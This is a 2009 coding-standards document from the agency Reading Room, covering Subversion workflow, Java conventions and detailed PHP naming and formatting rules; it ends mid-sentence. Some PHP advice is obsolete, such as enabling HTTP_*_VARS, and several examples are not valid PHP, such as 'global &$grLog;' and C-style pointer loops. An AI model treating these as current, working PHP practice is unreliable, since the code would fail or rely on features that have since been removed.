Point of Contact for Questions

Senior Technical Manager

Reading Room
Coding Standards

Reading Room Ltd
65-66 Frith Street
Soho
London
W1D 3JR

T: +44 (20) 7035 1800

F: +44 (20) 7439 4190

W: www.readingroom.com

Date 8th October 2009

Document Revision: **2.0**

Status: FIANL

Commercial and in Confidence

Document Acceptance

Client

NAME	POSITION	SIGNATURE	DATE

Reading Room

NAME	POSITION	SIGNATURE	DATE

Revision History

Version	Author	Status	Date	Revisions
0.1	Adam Cooper	Draft	20/07/2008	Created first draft
0.1	Adam Cooper	Draft	20/07/2008	Created first draft
0.3	Katharine Wykes	Draft	06/10/2008	Updated
0.4	Katharine Wykes	Draft	13/10/2008	Updated
0.5	Katharine Wykes	Draft	5/01/2008	Updated
0.6	Katharine Wykes	Draft	16/07/2008	Updated
0.7	Jeremy Pearmund	Draft	04/06/2009	Update and expand code sections
1.0	Jeremy Pearmund	Issued	19/06/2009	Version for customers
1.1		Draft	30/09/2009	Minor additions from Matt Gibson and Philip Rose included.
1.2		Draft	30/10/2009	Comments from Mik Konstantinou, Trevor Yardley, Philip Rose, Tom Adams, Tim Kefford, Toby Compton
2.0		Final	7/12/2009	Finalised

Contents

1 OVERVIEW

This document outlines the general guidelines that will be used by the Reading Room developers during the development of a project.

It covers the code that will be developed for both the back-end systems (for CMS and administration functionality) and the front-end systems (for html and scripts).

Every project is different and the way the general guidelines in this document are applied will vary from project to project according to the specific circumstances and requirements of each project.

Clients should review these example guidelines and inform Reading Room before development starts of any specific coding requirements that they would like Reading Room to consider during the development.

It is suggested that clients check that the code has been developed to the required standard before singing off the deliverables as sign-off is final.

2 GENERAL COMMENTS

2.1 Layering

Layering is the primary technique for reducing complexity in a system. A system should be divided into layers. Layers should communicate between adjacent layers using well defined interfaces. When a layer uses a non-adjacent layer then a layering violation has occurred.
A layering violation simply means we have dependency between layers that is not controlled by a well defined interface. When one of the layers changes code could break. We don't want code to break so we want layers to work only with other adjacent layers.
Sometimes we need to jump layers for performance reasons. This is fine, but we should know we are doing it and document appropriately.

2.2 Code Reviews

Code reviews can be very useful. Unfortunately they can often degrade into nit picking sessions and endless arguments about silly things. They can also tend to take a lot of people's time for a questionable payback.

First, code reviews are way too late to do much of anything useful. What needs reviewing are requirements and design. This is where you will get more bang for the buck.

Get all relevant people in a room. Lock them in. Go over the class design and requirements until the former is good and the latter is being met. Having all the relevant people in the room makes this process a deep fruitful one as questions can be immediately answered and issues immediately explored. Usually only a couple of such meetings are necessary.

If the above process is done well coding will take care of itself. If you find problems in the code review the best you can usually do is a rewrite after someone has sunk a ton of time and effort into making the code "work."

You will still want to do a code review, just do it offline. Have a couple people you trust read the code in question and simply make comments to the programmer. Then the programmer and reviewers can discuss issues and work them out. Email and quick pointed discussions work well. This approach meets the goals and doesn't take the time of 6 people to do it.

2.3 Create a Source Code Control System Early and Not Often

A common build system and source code control system should be put in place as early as possible in a project's lifecycle, preferably before anyone starts coding. Source code control is the structural glue binding a project together. If programmers can't easily use each other's products then you'll never be able to make a good reproducible build and people will waste a lot of time. It's also be hell converting rogue build environments to a standard system.

2.4 Create a Bug Tracking System Early and Not Often

The earlier people get used to using a bug tracking system the better. If you are 3/4 through a project and then install a bug tracking system it won't be used. You need to install a bug tracking system early so people will use it.

Programmers generally resist bug tracking, yet when used correctly it can really help a project:

- Problems aren't dropped on the floor.
- Problems are automatically routed to responsible individuals.

- The lifecycle of a problem is tracked so people can argue back and forth with good information.
- Managers can make the big schedule and staffing decisions based on the number of and types of bugs in the system.
- Configuration management has a hope of matching patches back to the problems they fix.
- QA and technical support have a communication medium with developers.

Not sexy things, just good solid project improvements.

Source code control should be linked to the bug tracking system. During the part of a project where source is frozen before a release only checkins accompanied by a valid bug ID should be accepted. And when code is changed to fix a bug the bug ID should be included in the checkin comments.

2.5 Honor Responsibilities

Responsibility for software modules is scoped. Modules are either the responsibility of a particular person or are common. Honour this division of responsibility. Don't go changing things that aren't your responsibility to change. Only mistakes and hard feelings will result. Face it, if you don't own a piece of code you can't possibly be in a position to change it.

There's too much context. Assumptions seemingly reasonable to you may be totally wrong. If you need a change simply ask the responsible person to change it. Or ask them if it is OK to make such-n-such a change. If they say OK then go ahead, otherwise holster your editor.

Every rule has exceptions. If it's 3 in the morning and you need to make a change to make a deliverable then you have to do it. If someone is on vacation and no one has been assigned their module then you have to do it. If you make changes in other people's code try and use the same style they have adopted.

Programmers need to mark with comments code that is particularly sensitive to change. If code in one area requires changes to code in an another area then say so. If changing data formats will cause conflicts with persistent stores or remote message sending then say so. If you are trying to minimize memory usage or achieve some other end then say so. Not everyone is as brilliant as you.

The worst sin is to flit through the system changing bits of code to match your coding style. If someone isn't coding to the standards then ask them or ask your manager to ask them to code to the standards. Use common courtesy.

Code with common responsibility should be treated with care. Resist making radical changes as the conflicts will be hard to resolve. Put comments in the file on how the file should be extended so everyone will follow the same rules. Try and use a common structure in all common files so people don't have to guess on where to find things and how to make changes. Checkin changes as soon as possible so conflicts don't build up.

As an aside, module responsibilities must also be assigned for bug tracking purposes.

3 SOURCE CODE CONTROL

Subversion is a free/open source version control system. That is, Subversion manages files and directories, and the changes made to them, over time. This allows you to recover older versions of your data or examine the history of how your data changed. In this regard, many people think of a version control system as a sort of “time machine.”

Subversion can operate across networks, which allows it to be used by people on different computers. At some level, the ability for various people to modify and manage the same set of data from their respective locations fosters collaboration. Progress can occur more quickly without a single conduit through which all modifications must occur. And because the work is versioned, you need not fear that quality is the trade-off for losing that conduit—if some incorrect change is made to the data, just undo that change.

Some version control systems are also software configuration management (SCM) systems. These systems are specifically tailored to manage trees of source code and have many features that are specific to software development—such as natively understanding programming languages, or supplying tools for building software. Subversion, however, is not one of these systems. It is a general system that can be used to manage any collection of files.

Read the SVN book (Version Control with Subversion)!

Discuss the versioning model and source code control approach with the Lead Developer and Senior Developer in your Division, escalate any issues or questions as necessary to the Senior Technical Manager.

3.1 Using Subversion

The basic idea of Subversion is that the source code and revisions are kept in a repository on a server. Users connect to the repository by using a client program, which allows the user to check out, view, edit, patch, and commit changes to the source code files (depending on the client's permission level.

Note that if you choose to use Tortoise, Subclipse, or another graphical client, the commands below will be menu selections - however, the same principles apply. Check the help files for your client to figure out how to connect to the repository and execute the equivalent commands.

3.1.1 Checking Out the Code

Once you have Subversion installed, the first step you'll need to do is to check out the code, which basically means that you will download a version from the repository to your computer. To do this, make an empty directory for your copy of the code, change to that directory, and execute the checkout command on the trunk, branch, or tag you are interested in. For instance, to check out the trunk (latest development version).

`svn co xxxxx` (where xxxxx is the path to the code)

After a short wait (depending on your Internet connection speed), the result will be that the directory is filled with all of the files, as well as some hidden .svn sub-directories containing Subversion information.

3.1.2 Updating Your Copy of the Code

If some time has passed since you checked out the code, and you would like to update to the latest version now available, use the update command, after first changing to the directory where you checked out the code originally:

```
svn update
```

3.1.3 Exporting the Code

If you are not planning to do any editing, updating, hacking, or bug fixing in the code, but just want to download the latest version so you can install it somewhere, you can use the export command (after first creating a new directory to hold the results, and changing to that directory):

`svn export xxxxx` (where xxxxx is the path to the code)

This will give you the same code as using svn co, but without the hidden .svn directories. None of the other Subversion commands will work after an export - you need to do a checkout if you want to use the other Subversion commands.

3.1.4 Browsing the Code

To list all the files in the repository, without updating, checking out, etc, you can use the list command:

`svn list xxxxx` (where xxxxx is the path to the code)

To list files in a sub-directory, such as includes:

`svn list xxxxx/includes/` (where xxxxx is the path to the code)

3.1.5 Developer's commands

If you are fixing bugs, edit the files in the directory where you checked out the code. When you are ready to submit your fixes for inclusion in an upcoming version use the commands below.

You may need to change to a sub-directory (such as trunk) to execute these commands.

To get a list of the files you have changed, use the status command:

```
svn status
```

To show the changes you have made in a line-by-line patch format, use the diff command. This will output a unified diff of all the changes you have made to the entire tree of source code:

```
svn diff
```

To show the differences for just one source file:

```
svn diff path/to/file
```

To save the output of a diff into a file (so that you can attach it as a patch to a report), use redirection:

```
svn diff > my-patch-file.diff
```

To reset your working copy to the code you checked out (to throw away any changes you've made):

```
svn revert . –R
```

You can also do a revert for just a single file:

```
svn revert path/to/file
```

If you already have a working copy of the trunk, but you want to switch back to one of the released versions, you can use the 'svn switch' command to bring all the files in your working copy back to the state of the released version.

3.2 Using Tortoise SVN

A simple tutorial (aimed at Tortoise users connecting to the WordPress SVN repository) is available here: http://blog.ftwr.co.uk/archives/2005/11/03/windows-wordpress-toolbox/.

3.3 Managing web applications in SVN :

3.3.1 What to put in…

Of course, your code belongs into version control. So do database schemata, templates and graphics. What you shouldn't put in, is:

- User data – user uploaded files and stuff don't belong there.
- Database data – don't confuse revision control with a backup!
- Cached data – it's temporary data.
- Configuration files – they're to be created manually.
- Binary / compiled files such as .NET DLL's or java .class files, unless specific repositories are defined for the purposes of release management.

Don't even think about putting configuration files into revision control. First of all, they tend to get overwritten and, for example, change your live server's database.

Second, passwords don't belong into revision control! Instead, you should add default config files with changed filenames, like database.conf.default.

Use the ignore list. For example: in .NET projects we add the 'bin' and 'debug' folders to the ignore list so that they never come up in commit lists. The Java equivalent would be the 'build' or the 'classes' directories. One could also add config files to ignore lists.

3.3.2 Branching and tagging

It's important to remember that only working code belongs in the trunk. After all, it needs to be ready for deployment all the time. Because of this you need to create a new branch, whenever:

- You're working on a big project that requires its own versioning.
- It's a project that takes a rather long time to complete. Your code is safer in the repository than on a developer's laptop.
- When more than one person is working on a project. In their own branch, developers can share their code without damaging the trunk.

These branches are merged back into the trunk after completion. About tagging, the only thing I can say is that it's smart to create a tag whenever you're updating your live webserver to keep track of your releases, as this is a snapshot of the codebase at that point in time.

3.3.3 Conflict Resolution

Occasionally, when checking in work, conflict will arise that cannot be easily resolved by simple compare and merge activities. If this is the case, STOP, don't check-in yet. Sit down with the developer whose code is in conflict with yours, and involve also the lead developer and/or the senior developer in your division. One of you may have to re-structure your code, this should be done collaboratively to ensure a satisfactory resolution. As a starting point for the discussion, the senior developer in the group will take the decision as to which code is accepted and which code should be re-worked to resolve the conflict. Escalate to the Senior Technical Manager if necessary.

3.3.4 Learn good SVN habits

For example:

- immediately updating before you begin to work.
- using good log messages
- always doing an SVN diff before you commit
- using branches and tags (snapshots)
- NOT having a bunch of different checkouts of the same SVN repository sitting around

4 JAVA CODING STANDARDS

Without good reason and discussion with the Senior Technical Manager, developers should not deviate from Sun's Code Conventions for the Java Programming Language:

http://java.sun.com/docs/codeconv/

This Code Conventions for the Java Programming Language document contains the standard conventions that those at Sun follow and recommend that others follow. It covers filenames, file organization, indentation, comments, declarations, statements, white space, naming conventions, programming practices and includes a code example.

5 PHP CODING STANDARDS

5.1 Introduction

5.1.1 Conventions

- The use of the word "shall" in this document requires that any project using this document must comply with the stated standard.
- The use of the word "should" directs projects in tailoring a project-specific standard, in that the project must include, exclude, or tailor the requirement, as appropriate.
- The use of the word "may" is similar to "should", in that it designates optional requirements.

5.2 Names

5.2.1 Make Names Fit

Names are the heart of programming. Only a programmer who understands the system as a whole can create a name that "fits" with the system. If the name is appropriate everything fits together naturally, relationships are clear, meaning is derivable, and reasoning from common human expectations works as expected. If you find all your names could be Thing and DoIt then you should probably revisit your design.

5.2.2 Class Names

- Name the class after what it is. If you can't think of what it is that is a clue you have not thought through the design well enough.
- Compound names of over three words are a clue your design may be confusing various entities in your system. Revisit your design. Try a CRC card session to see if your objects have more responsibilities than they should.
- Avoid the temptation of bringing the name of the class a class derives from into the derived class's name. A class should stand on its own. It doesn't matter what it derives from.
- Suffixes are sometimes helpful. For example, if your system uses agents then naming something DownloadAgent conveys real information.

5.2.3 Method and Function Names

- Usually every method and function performs an action, so the name should make clear what it does: CheckForErrors() instead of ErrorCheck(), DumpDataToFile() instead of DataFile(). This will also make functions and data objects more distinguishable.
- Suffixes are sometimes useful:
    - Max - to mean the maximum value something can have.
    - Cnt - the current count of a running count variable.
    - Key - key value.
- For example: RetryMax to mean the maximum number of retries, RetryCnt to mean the current retry count.
- Prefixes are sometimes useful:
    - Is - to ask a question about something. Whenever someone sees Is they will know it's a question.
    - Get - get a value.
    - Set - set a value.
- For example: IsHitRetryLimit.

5.2.4 No All Upper Case Abbreviations

When confronted with a situation where you could use an all upper case abbreviation instead use an initial upper case letter followed by all lower case letters. No matter what. Do use: GetHtmlStatistic. Do not use: GetHTMLStatistic.

5.2.4.1 Justification

People seem to have very different intuitions when making names containing abbreviations. It's best to settle on one strategy so the names are absolutely predictable. Take for example NetworkABCKey. Notice how the C from ABC and K from key are confused. Some people don't mind this and others just hate it so you'll find different policies in different code so you never know what to call something.

5.2.4.2 Example

```
class FluidOz              // NOT FluidOZ
class GetHtmlStatistic     // NOT GetHTMLStatistic
```

5.2.5 Class Names

- Use upper case letters as word separators, lower case for the rest of a word
- First character in a name is upper case
- No underbars ('_')

5.2.5.1 Justification

Of all the different naming strategies many people found this one the best compromise.

5.2.5.2 Example

```
class NameOneTwo

class Name
```

5.2.6 Class Library Names

- Now that name spaces are becoming more widely implemented, name spaces should be used to prevent class name conflicts among libraries from different vendors and groups.
- When not using name spaces, it's common to prevent class name clashes by prefixing class names with a unique string. Two characters is sufficient, but a longer length is fine.

5.2.6.1 Example

John Johnson's complete data structure library could use JJ as a prefix, so classes would be:

```
class JjLinkList
{
}
```

5.2.7 Method Names

Use the same rule as for class names.

5.2.7.1 Justification

Of all the different naming strategies many people found this one the best compromise.

5.2.7.2 Example

```
class NameOneTwo
{
   function DoIt() {};
   function HandleError() {};
}
```

5.2.8 Class Attribute Names

- Class member attribute names should be prepended with the character 'm'.
- After the 'm' use the same rules as for class names.
- 'm' always precedes other name modifiers like 'r' for reference.

5.2.8.1 Justification

Prepending 'm' prevents any conflict with method names. Often your methods and attribute names will be similar, especially for accessors.

5.2.8.2 Example

```
class NameOneTwo
{
   function VarAbc() {};
   function ErrorNumber() {};
   var $mVarAbc;
   var $mErrorNumber;
   var $mrName;
}
```

5.2.9 Method Argument Names

- The first character should be lower case.
- All word beginnings after the first letter should be upper case as with class names.

5.2.9.1 Justification

You can always tell which variables are passed in variables.

5.2.9.2 Example

```
class NameOneTwo
{
   function StartYourEngines(&$someEngine, &$anotherEngine) {
     $this->mSomeEngine = $someEngine;
     $this->mAnotherEngine = $anotherEngine;
   }

   var $mSomeEngine;
   var $mAnotherEngine;
}
```

5.2.10 Variable Names

- use all lower case letters
- use '_' as the word separator.

5.2.10.1 Justification

- With this approach the scope of the variable is clear in the code.
- Now all variables look different and are identifiable in the code.

5.2.10.2 Example

```
function HandleError($errorNumber)
{
    $error = new OsError;
    $time_of_error = $error->GetTimeOfError();
    $error_processor = $error->GetErrorProcessor();
}
```

5.2.11 Array Element

Array element names follow the same rules as a variable.

- use '_' as the word separator.
- don't use '-' as the word separator

5.2.11.1 Justification

if '-' is used as a word separator it will generate warnings used with magic quotes.

5.2.11.2 Example

```
$myarr['foo_bar'] = 'Hello';
print "$myarr[foo_bar] world"; // will output: Hello world

$myarr['foo-bar'] = 'Hello';
print "$myarr[foo-bar] world"; // warning message
```

5.2.12 Single or Double Quotes

- Access an array's elements with single or double quotes.
- Don't use quotes within magic quotes

5.2.12.1 Justification

Some PHP configurations will output warnings if arrays are used without quotes except when used within magic quotes

5.2.12.2 Example

```
$myarr['foo_bar'] = 'Hello';
$element_name = 'foo_bar';
print "$myarr[foo_bar] world"; // will output: Hello world
print "$myarr[$element_name] world"; // will output: Hello world
print "$myarr['$element_name'] world"; // parse error
print "$myarr["$element_name"] world"; // parse error
```

5.2.13 Reference Variables and Functions Returning References

References should be prepended with 'r'.

5.2.13.1 Justification

- The difference between variable types is clarified.
- It establishes the difference between a method returning a modifiable object and the same method name returning a non-modifiable object.

5.2.13.2 Example

```
class Test
{
    var $mrStatus;
```

```
    function DoSomething(&$rStatus) {};
    function &rStatus() {};
}
```

5.2.14 Global Variables

Global variables should be prepended with a 'g'.

5.2.14.1 Justification

It's important to know the scope of a variable.

5.2.14.2 Example

```
    global $gLog;
    global &$grLog;
```

5.2.15 Define Names / Global Constants

Global constants should be all caps with '_' separators.

5.2.15.1 Justification

It's tradition for global constants to named this way. You must be careful to not conflict with other predefined globals.

5.2.15.2 Example

```
define("A_GLOBAL_CONSTANT", "Hello world!");
```

5.2.16 Static Variables

Static variables may be prepended with 's'.

5.2.16.1 Justification

It's important to know the scope of a variable.

5.2.16.2 Example

```
function test()
{
  static $msStatus = 0;
}
```

5.2.17 Function Names

For PHP functions use the C GNU convention of all lower case letters with '_' as the word delimiter.

5.2.17.1 Justification

It makes functions very different from any class related names.

5.2.17.2 Example

```
function some_bloody_function()
{
}
```

5.3 Error Return Check Policy

- Check every system call for an error return, unless you know you wish to ignore errors.
- Include the system error text for every system error message.

5.4 Braces {} Policy

Of the three major brace placement strategies two are acceptable, with the first one listed being preferable:

Place brace under and inline with keywords:

```
if ($condition)       while ($condition)
{                     {
...                   ...
}                           }
```

Traditional Unix policy of placing the initial brace on the same line as the keyword and the trailing brace inline on its own line with the keyword:

```
if ($condition) {     while ($condition) {
      ...                   ...
   }                     }
```

5.4.1.1 Justification

Another religious issue of great debate solved by compromise. Either form is acceptable, many people, however, find the first form more pleasant. Why is the topic of many psychological studies. There are more reasons than psychological for preferring the first style. If you use an editor (such as vi) that supports brace matching, the first is a much better style. Why? Let's say you have a large block of code and want to know where the block ends. You move to the first brace hit a key and the editor finds the matching brace.

5.4.1.2 Example:

```
if ($very_long_condition && $second_very_long_condition)
     {
        ...
     }
     else if (...)
     {
    ...
     }
```

To move from block to block you just need to use cursor down and your brace matching key. No need to move to the end of the line to match a brace then jerk back and forth.

5.4.2 Indentation/Tabs/Space Policy

- Indent using 4 spaces for each level.
- Do not use tabs, use spaces. Most editors can substitute spaces for tabs.
- Indent as much as needed, but no more. There are no arbitrary rules as to the maximum indenting level. If the indenting level is more than 4 or 5 levels you may think about factoring out code.

5.4.2.1 Justification

- When people using different tab settings the code is impossible to read or print, which is why spaces are preferable to tabs.
- Most PHP applications use 4 spaces.
- Most editors use 4 spaces by default.
- As much as people would like to limit the maximum indentation levels it never seems to work in general. We'll trust that programmers will choose wisely how deep to nest code.

5.4.2.2 Example

```
function func()

{

   if (something bad)

   {

      if (another thing bad)

      {

         while (more input)

         {

         }

      }

   }

}
```

5.4.3 Parens *()* with Key Words and Functions Policy

- Do not put parens next to keywords. Put a space between.
- Do put parens next to function names.
- Do not use parens in return statements when it's not necessary.

5.4.3.1 Justification

Keywords are not functions. By putting parens next to keywords keywords and function names are made to look alike.

5.4.3.2 Example

```
if (condition)

{
```

```
}

while (condition)

{

}

strcmp($s, $s1);

return 1;
```

5.4.4 Do Not do Real Work in Object Constructors

Do not do any real work in an object's constructor. Inside a constructor initialize variables only and/or do only actions that can't fail.
Create an Open() method for an object which completes construction. Open() should be called after object instantiation.

5.4.4.1 Justification

Constructors can't return an error.

5.4.4.2 Example

```
 class Device
{
   function Device()    { /* initialize and other stuff */ }
   function Open()  { return FAIL; }
};

$dev = new Device;
if (FAIL == $dev->Open()) exit(1);
```

5.4.5 Make Functions Re-entrant

Functions should not keep static variables that prevent a function from being re-entrant.

5.4.6 If Then Else Formatting

5.4.6.1 Layout

It's up to the programmer. Different bracing styles will yield slightly different looks. One common approach is:

```
 if (condition)                 // Comment
{
}
else if (condition)            // Comment
{
}
else                           // Comment
{
}
```

If you have *else if* statements then it is usually a good idea to always have an *else* block for finding unhandled cases. Maybe put a log message in the else even if there is no corrective action taken.

5.4.7 Condition Format

Always put the constant on the left hand side of an equality/inequality comparison. For example:

```
if ( 6 == $errorNum ) ...
```

One reason is that if you leave out one of the = signs, the parser will find the error for you. A second reason is that it puts the value you are looking for right up front where you can find it instead of buried at the end of your expression. It takes a little time to get used to this format, but then it really gets useful.

5.4.8 *switch* Formatting

- Falling through a case statement into the next case statement shall be permitted as long as a comment is included.
- The default case should always be present and trigger an error if it should not be reached, yet is reached.
- If you need to create variables put all the code in a block.

5.4.8.1 Example

```
 switch (...)
{
   case 1:
      ...
   // FALL THROUGH

   case 2:
   {
      $v = get_week_number();
      ...
   }
   break;

   default:
}
```

5.5 Use of continue, break and ?:

5.5.1 Continue and Break

Continue and break are really disguised gotos so they are covered here.
Continue and break like goto should be used sparingly as they are magic in code. With a simple spell the reader is beamed to god knows where for some usually undocumented reason.
The two main problems with continue are:

- It may bypass the test condition
- It may bypass the increment/decrement expression

Consider the following example where both problems occur:

```
while (TRUE)
{
   ...
   // A lot of code
   ...
   if (/* some condition */) {
      continue;
   }
   ...
   // A lot of code
   ...
   if ( $i++ > STOP_VALUE) break;
}
```

Note: "A lot of code" is necessary in order that the problem cannot be caught easily by the programmer.
From the above example, a further rule may be given: Mixing continue with break in the same loop is a sure way to disaster.

5.5.2 ?:

The trouble is people usually try and stuff too much code in between the ? and :. Here are a couple of clarity rules to follow:

- Put the condition in parens so as to set it off from other code
- If possible, the actions for the test should be simple functions.
- Put the action for the then and else statement on a separate line unless it can be clearly put on one line.

5.5.2.1 Example

```
    (condition) ? funct1() : func2();

   or

   (condition)
      ? long statement
      : another long statement;
```

5.5.3 Alignment of Declaration Blocks

Block of declarations should be aligned.

5.5.3.1 Justification

- Clarity.
- Similarly blocks of initialization of variables should be tabulated.
- The '&' token should be adjacent to the type, not the name.

5.5.3.2 Example

```
    var       $mDate
   var&      $mrDate
   var&      $mrName
   var       $mName

   $mDate    = 0;
```

```
$mrDate    = NULL;
$mrName    = 0;
$mName     = NULL;
```

5.5.4 One Statement Per Line

There should be only one statement per line unless the statements are very closely related.

5.5.5 Short Methods

Methods should limit themselves to a single page of code.

5.5.5.1 Justification

- The idea is that the each method represents a technique for achieving a single objective.
- Most arguments of inefficiency turn out to be false in the long run.
- True function calls are slower than not, but there needs to a thought out decision (see premature optimization).

5.5.6 Document Null Statements

Always document a null body for a for or while statement so that it is clear that the null body is intentional and not missing code.

```
while ($dest++ = $src++)
  ;          // VOID
```

5.5.7 Do Not Default If Test to Non-Zero

Do not default the test for non-zero, i.e.

```
if (FAIL != f())
```

is better than

```
if (f())
```

even though FAIL may have the value 0 which PHP considers to be false. An explicit test will help you out later when somebody decides that a failure return should be -1 instead of 0. Explicit comparison should be used even if the comparison value will never change; e.g.

```
if (!($bufsize % strlen($str)))
```

should be written instead as

```
if (0 == ($bufsize % strlen($str)))
```

to reflect the numeric (not boolean) nature of the test. A frequent trouble spot is using strcmp to test for string equality, where the result should *never ever* be defaulted.

The non-zero test is often defaulted for predicates and other functions or expressions which meet the following restrictions:

- Returns 0 for false, nothing else.

- Is named so that the meaning of (say) a true return is absolutely obvious. Call a predicate IsValid(), not CheckValid().

5.5.8 The Bull of Boolean Types

Do not check a boolean value for equality with 1 (TRUE, YES, etc.); instead test for inequality with 0 (FALSE, NO, etc.). Most functions are guaranteed to return 0 if false, but only non-zero if true. Thus,

```
if (TRUE == func()) { ...
```

must be written

```
if (FALSE != func()) { ...
```

5.5.9 Usually Avoid Embedded Assignments

There is a time and a place for embedded assignment statements. In some constructs there is no better way to accomplish the results without making the code bulkier and less readable.

```
 while ($a != ($c = getchar()))
{
   process the character
}
```

The ++ and -- operators count as assignment statements. So, for many purposes, do functions with side effects. Using embedded assignment statements to improve run-time performance is also possible. However, one should consider the tradeoff between increased speed and decreased maintainability that results when embedded assignments are used in artificial places. For example,

```
 $a = $b + $c;

$d = $a + $r;
```

should not be replaced by

```
$d = ($a = $b + $c) + $r;
```

even though the latter may save one cycle. In the long run the time difference between the two will decrease as the optimizer gains maturity, while the difference in ease of maintenance will increase as the human memory of what's going on in the latter piece of code begins to fade.

5.6 Reusing Your Hard Work and the Hard Work of Others

Reuse across projects is almost impossible without a common framework in place. Objects conform to the services available to them. Different projects have different service environments making object reuse difficult.

Developing a common framework takes a lot of up front design effort. When this effort is not made, for whatever reasons, there are several techniques one can use to encourage reuse:

5.6.1 Don't be Afraid of Small Libraries

One common enemy of reuse is people not making libraries out of their code. A reusable class may be hiding in a program directory and will never have the thrill of being shared because the programmer won't factor the class or classes into a library.

One reason for this is because people don't like making small libraries. There's something about small libraries that doesn't feel right. Get over it. The computer doesn't care how many libraries you have.

If you have code that can be reused and can't be placed in an existing library then make a new library. Libraries don't stay small for long if people are really thinking about reuse.

If you are afraid of having to update makefiles when libraries are recomposed or added then don't include libraries in your makefiles, include the idea of services. Base level makefiles define services that are each composed of a set of libraries. Higher level makefiles specify the services they want. When the libraries for a service change only the lower level makefiles will have to change.

5.6.2 Keep a Repository

Most companies have no idea what code they have. And most programmers still don't communicate what they have done or ask for what currently exists. The solution is to keep a repository of what's available.

In an ideal world a programmer could go to a web page, browse or search a list of packaged libraries, taking what they need. If you can set up such a system where programmers voluntarily maintain such a system, great. If you have a librarian in charge of detecting reusability, even better.

Another approach is to automatically generate a repository from the source code. This is done by using common class, method, library, and subsystem headers that can double as man pages and repository entries.

5.7 Comments on Comments

5.7.1 Comments Should Tell a Story

Consider your comments a story describing the system. Expect your comments to be extracted by a robot and formed into a man page. Class comments are one part of the story, method signature comments are another part of the story, method arguments another part, and method implementation yet another part. All these parts should weave together and inform someone else at another point of time just exactly what you did and why.

5.7.2 Document Decisions

Comments should document decisions. At every point where you had a choice of what to do place a comment describing which choice you made and why. Archeologists will find this the most useful information.

5.7.3 Use Headers

Use a document extraction system like ccdoc. Other sections in this document describe how to use ccdoc to document a class and method.

These headers are structured in such a way as they can be parsed and extracted. They are not useless like normal headers. So take time to fill them out. If you do it right once no more documentation may be necessary.

5.7.4 Comment Layout

Each part of the project has a specific comment layout.

5.7.5 Make Gotchas Explicit

Explicitly comment variables changed out of the normal control flow or other code likely to break during maintenance. Embedded keywords are used to point out issues and potential problems. Consider a robot will parse your comments looking for keywords, stripping them out, and making a report so people can make a special effort where needed.

5.7.6 Gotcha Keywords

- :TODO: topic Means there's more to do here, don't forget.
- :BUG: [bugid] topic means there's a Known bug here, explain it and optionally give a bug ID.
- :KLUDGE: When you've done something ugly say so and explain how you would do it differently next time if you had more time.
- :TRICKY: Tells somebody that the following code is very tricky so don't go changing it without thinking.
- :WARNING: Beware of something.
- :PARSER: Sometimes you need to work around a parser problem. Document it. The problem may go away eventually.
- :ATTRIBUTE: value The general form of an attribute embedded in a comment. You can make up your own attributes and they'll be extracted.

5.7.7 Gotcha Formatting

- Make the gotcha keyword the first symbol in the comment.
- Comments may consist of multiple lines, but the first line should be a self-containing, meaningful summary.
- The writer's name and the date of the remark should be part of the comment. This information is in the source repository, but it can take a quite a while to find out when and by whom it was added. Often gotchas stick around longer than they should. Embedding date information allows other programmer to make this decision. Embedding who information lets us know who to ask.

5.7.7.1 Example

```
 // :TODO: tmh 960810: possible performance problem
// We should really use a hash table here but for
// now we'll use a linear search.

// :KLUDGE: tmh 960810: possible unsafe type cast
// We need a cast here to recover the derived type. It should
// probably use a virtual method or template.
```

5.8 Interface and Implementation Documentation

There are two main audiences for documentation:

- Class Users
- Class Implementors

With a little forethought we can extract both types of documentation directly from source code.

5.8.1 Class Users

Class users need class interface information which when structured correctly can be extracted directly from a header file. When filling out the header comment blocks for a class, only include information needed by programmers who use the class. Don't delve into algorithm implementation details unless the details are needed by a user of the class. Consider comments in a header file a man page in waiting.

5.8.2 Class Implementors

Class implementors require in-depth knowledge of how a class is implemented. This comment type is found in the source file(s) implementing a class. Don't worry about interface issues. Header comment blocks in a source file should cover algorithm issues and other design decisions. Comment blocks within a method's implementation should explain even more.

5.8.3 Directory Documentation

Every directory should have a README file that covers:

- the purpose of the directory and what it contains
- a one line comment on each file. A comment can usually be extracted from the NAME attribute of the file header.
- cover build and install directions
- direct people to related resources:
    - directories of source
    - online documentation
    - paper documentation
    - design documentation
- anything else that might help someone

Consider a new person coming in 6 months after every original person on a project has gone. That lone scared explorer should be able to piece together a picture of the whole project by traversing a source directory tree and reading README files, Makefiles, and source file headers.

5.9 Open/Closed Principle

The Open/Closed principle states a class must be open and closed where:

- open means a class has the ability to be extended.
- closed means a class is closed for modifications other than extension. The idea is once a class has been approved for use having gone through code reviews, unit tests, and other qualifying procedures, you don't want to change the class very much, just extend it.

The Open/Closed principle is a pitch for stability. A system is extended by adding new code not by changing already working code. Programmers often don't feel comfortable changing

old code because it works! This principle just gives you an academic sounding justification for your fears :-)
In practice the Open/Closed principle simply means making good use of our old friends abstraction and polymorphism. Abstraction to factor out common processes and ideas. Inheritance to create an interface that must be adhered to by derived classes.

5.10 Server configuration

This section contains some guidelines for PHP/Apache configuration.

5.10.1 HTTP_*_VARS

HTTP_*_VARS are either enabled or disabled. When enabled all variables must be accessed through $HTTP_*_VARS[key]. When disabled all variables can be accessed by the key name.

- use HTTP_*_VARS when accessing variables.
- use enabled HTTP_*_VARS in PHP configuration.

5.10.1.1 Justification

- HTTP_*_VARS is available in any configuration.
- HTTP_*_VARS will not conflict with existing variables.
- Users can't change variables by passing values.

5.10.2 PHP File Extensions

There is lots of different extension variants on PHP files (.html, .php, .php3, .php4, .phtml, .inc, .class...).

- Always use the extension .php.
- Always use the extension .php for your class and function libraries.

5.10.2.1 Justification

- The use of .php makes it possible to enable caching on other files than .php.
- The use of .inc or .class can be a security problem. On most servers these extensions aren't set to be run by a parser. If these are accessed they will be displayed in clear text.

5.11 Miscellaneous

This section contains some miscellaneous do's and don'ts.

- Don't use floating-point variables where discrete values are needed. Using a float for a loop counter is a great way to shoot yourself in the foot. Always test floating-point numbers as <= or >=, never use an exact comparison (== or !=).
- Do not rely on automatic beautifiers. The main person who benefits from good program style is the programmer him/herself, and especially in the early design of handwritten algorithms or pseudo-code. Automatic beautifiers can only be applied to complete, syntactically correct programs and hence are not available when the need for attention to white space and indentation is greatest. Programmers can do a better job of making clear the complete visual layout of a function or file, with the normal attention to detail of a careful programmer (in other words, some of the visual layout is dictated by intent rather than syntax and beautifiers cannot read minds). Sloppy

